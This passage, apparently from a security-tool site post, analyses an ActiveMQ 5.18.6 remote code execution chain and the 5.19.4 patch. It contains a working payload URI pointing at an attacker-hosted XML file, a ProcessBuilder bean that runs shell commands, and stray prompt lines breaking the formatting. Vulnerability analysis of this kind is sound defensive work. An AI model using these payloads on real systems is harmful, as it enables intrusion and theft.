  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

关键的转变是:```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml

root@kitploit:~
到:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

Spring XBean 分析

相关的 XBean 工厂是:```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler

root@kitploit:~
`createBroker()` 提取 `xbean:` URI 中方案特有的部分,并在检查是否包含代理之前创建一个 Spring 应用上下文:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

危险的安全隐患点是 createApplicationContext():```java protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException { Resource resource = Utils.resourceFromString(uri); LOG.debug("Using " + resource + " from " + uri); try { return new ResourceXmlApplicationContext(resource) { @Override protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) { reader.setValidating(isValidate()); } }; } catch (FatalBeanException errorToLog) { LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog); throw errorToLog; } }

root@kitploit:~
`Utils.resourceFromString()` 接受远程资源:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

因此:```text xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
被简化为:```text
http://192.168.1.32:9999/evil.xml

并以 Spring UrlResource 的形式加载。

对 reader.setValidating(isValidate()) 的调用仅控制 Spring XmlBeanDefinitionReader 中的 XML 验证模式。它不会限制 bean 类、构造函数参数、生命周期方法或远程 URL 资源。


Spring Bean 实例化分析

ActiveMQ 5.18.6 声明:```xml 5.3.39 4.25

root@kitploit:~
在 XBean 4.25 中,`ResourceXmlApplicationContext` 在其构造函数中调用 `refresh()`:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

它从提供的资源中加载 Bean 定义:```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); }

root@kitploit:~
Spring 的 `AbstractApplicationContext.refresh()` 方法随后会初始化 Bean 工厂并实例化非懒加载的单例 Bean:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

finishBeanFactoryInitialization() 调用:```java beanFactory.preInstantiateSingletons();

root@kitploit:~
`DefaultListableBeanFactory.preInstantiateSingletons()` 会创建所有非抽象、单例、非延迟加载的 bean:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

在初始化bean期间,Spring会调用自定义的init方法:```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... }

root@kitploit:~
自定义初始化方法从bean定义中解析:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

invokeCustomInitMethod() 反射性地调用该方法:```java ReflectionUtils.makeAccessible(methodToInvoke); methodToInvoke.invoke(bean);

root@kitploit:~
一个恶意的Spring XML bean,例如:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

导致以下行为:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start()

root@kitploit:~
这发生在 `XBeanBrokerFactory.createBroker()` 通过查找 `BrokerService` bean 验证结果上下文之前:```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

The broker validation occurs after Spring context refresh. 因此,一个配置可以执行任意init方法,但随后可能因无效的broker配置而被拒绝。


根本原因分析

根本原因在于一个不安全的架构桥梁,它连接了远程可调用的管理操作与受信任的本地broker启动机制。

此脆弱设计具有以下特性:

  • Jolokia 暴露 ActiveMQ broker 管理 MBean 的 JMX exec 操作。
  • BrokerView.addNetworkConnector(String) 接受攻击者控制的 URI 输入。
  • 该 URI 被传递给 ActiveMQ 网络代码,管理层面未对危险的传输方案进行限制。
  • static:(...) 发现机制会导致网络连接器启动时自动连接 enclosed URI。
  • vm:// 传输不仅作为 VM 内传输;它还支持在指定 VM broker 不存在时自动创建 broker。
  • VMTransportFactory 将 brokerConfig 视为 broker 工厂 URI,并转发给 BrokerFactory.createBroker()。
  • BrokerFactory 通过 XBeanBrokerFactory 支持 xbean: URI。
  • XBeanBrokerFactory 接受 URL 资源并构造 Spring ResourceXmlApplicationContext。
  • Spring 在上下文刷新期间急切地实例化单例 bean 并调用自定义 init 方法。
  • ActiveMQ 仅在 Spring 已初始化上下文之后才检查上下文是否包含有效的 。

这并非孤立的“不当输入验证”。脆弱行为源于通过运行时 JMX 操作公开了一个可配置 URI 解释器,并允许该解释器到达 Spring bean 生命周期执行。

精确的失败点在于:管理 API 将 discoveryAddress 视为连接器地址,但下游传输堆栈将其视为可执行配置。在利用路径中,该字符串被评估为:```text network connector URI -> discovery service URI -> VM transport URI -> broker creation URI -> XBean Spring resource URI -> Spring bean definitions -> Java object lifecycle methods

root@kitploit:~
验证发生得太晚,因为`XBeanBrokerFactory`中唯一的代理配置验证发生在:```java
new ResourceXmlApplicationContext(resource)

并且该构造函数执行:```text refresh() -> preInstantiateSingletons() -> init-method invocation

root@kitploit:~
当ActiveMQ确定XML中没有有效的`BrokerService`时,攻击者控制的Spring beans可能已经执行了。

---

### 补丁分析

相关的差异已通过以下工具进行了审查:```bash
git diff activemq-5.18.6..activemq-5.19.4

安全相关的变化位于:```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java

root@kitploit:~
在 5.18.6 中,`addNetworkConnector()` 直接转发了该字符串:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

在 5.19.4 中,在调用 BrokerService 之前添加了验证:```diff public String addNetworkConnector(String discoveryAddress) throws Exception {

  • // Verify VM transport is not used
  • validateAllowedUrl(discoveryAddress); NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
root@kitploit:~
同样的验证也添加到了 `addConnector()`:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

验证器拒绝 vm 传输方案:```java private static void validateAllowedUrl(String uriString) throws URISyntaxException { validateAllowedUri(new URI(uriString), 0); }

// Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); }

root@kitploit:~
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

}

// We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } }

root@kitploit:~
修补后的执行路径变为:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

这会在请求到达之前阻止漏洞利用。```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh()

root@kitploit:~
该补丁并未全局移除VM传输支持。它限制了通过面向JMX的`BrokerView`连接器创建方法对`vm://`的使用。使用VM传输的内部或受信任代码路径仍然存在。

在5.18.6和5.19.4之间,`VMTransportFactory.doCompositeConnect()`没有进行任何与安全相关的更改。`brokerConfig`行为保持不变:```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

此diff中未对XBeanBrokerFactory.createApplicationContext()进行与安全相关的更改。远程URL资源和Spring ResourceXmlApplicationContext行为仍可用于受信任的代理配置加载。

BrokerFactory从原始的FactoryFinder更改为类型化的FactoryFinder<BrokerFactoryHandler>:```diff

  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
  • root@kitploit:~
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
    
  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER
  • root@kitploit:~
    = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
    
  • root@kitploit:~
    BrokerFactoryHandler.class, null);
    
root@kitploit:~
这是类型安全清理,而非 RCE 缓解。基于方案的调度到 `XBeanBrokerFactory` 仍然保留。

`BrokerService` 在某些路径中增加了用于连接器启动的 `isAutoStart()` 检查:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

这不是针对Jolokia到RCE路径的主要修复。主要缓解措施是在BrokerView中预先拒绝vm://。

补丁行为总结:

  • 5.18.6: BrokerView.addNetworkConnector() 接受 static:(vm://...?brokerConfig=xbean:http://...) 并将其传递到下游。
  • 5.19.4: BrokerView.addNetworkConnector() 在创建连接器之前验证提供的URI,并拒绝嵌套的vm://使用。
  • 5.18.6: VMTransportFactory 可以消耗从JMX路径到达的、攻击者控制的 brokerConfig。
  • 5.19.4: VMTransportFactory 仍然支持 brokerConfig,但在VM传输解析之前,公开的JMX路径被阻止。

静态分析结论

ActiveMQ Classic 5.18.6中的确切脆弱代码路径是:```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start()

root@kitploit:~
利用是可行的,因为ActiveMQ暴露了一个接受连接器URI的管理操作,但下游传输实现可以将该URI解释为代理创建配置。`brokerConfig`参数从传输连接逻辑跨越到代理工厂逻辑。通过`xbean:`值,它再次跨越到Spring XML处理。

Spring执行原语并非单独的反序列化漏洞。这是正常的Spring生命周期行为:在上下文刷新期间实例化非懒加载的单例bean,并调用其配置的`init-method`。因此,一个具有`init-method="start"`的`java.lang.ProcessBuilder`bean会在应用程序上下文初始化期间执行一个进程。

验证失败是一个顺序缺陷。ActiveMQ仅在`ResourceXmlApplicationContext`已加载XML并初始化单例bean之后,才验证XBean配置是否包含可用的`BrokerService`。刷新后拒绝代理配置并不会撤销bean生命周期方法的副作用。

5.19.4补丁通过以下方式缓解了这一特定路径:在连接器创建之前在`BrokerView`中添加URI验证,并拒绝从JMX管理界面使用`vm://`传输。该补丁阻止了通向`VMTransportFactory.doCompositeConnect()`的暴露路径;它没有从受信任的内部配置路径中移除`brokerConfig`、`xbean:`支持或Spring XBean加载。
下载工具
功能利用方式
addNetworkConnector()接受攻击者控制的URI
vm:// 传输触发动态代理创建
brokerConfig=加载任意代理配置
xbean:调用Spring XML加载器
远程HTTP URL获取攻击者控制的XML
描述
远程代码执行任意命令执行
容器失陷ActiveMQ 容器完全失陷
凭证窃取访问代理凭证和机密
横向移动跳板至相邻系统
持久化创建恶意网络连接器
数据泄露访问代理消息和队列
  • XBeanBrokerFactory:处理 xbean: 代理配置 URI,并创建 Spring/XBean 应用程序上下文。
  • ResourceXmlApplicationContext:加载 XML 资源并执行 Spring bean 工厂刷新,包括急切单例创建。
  • BrokerService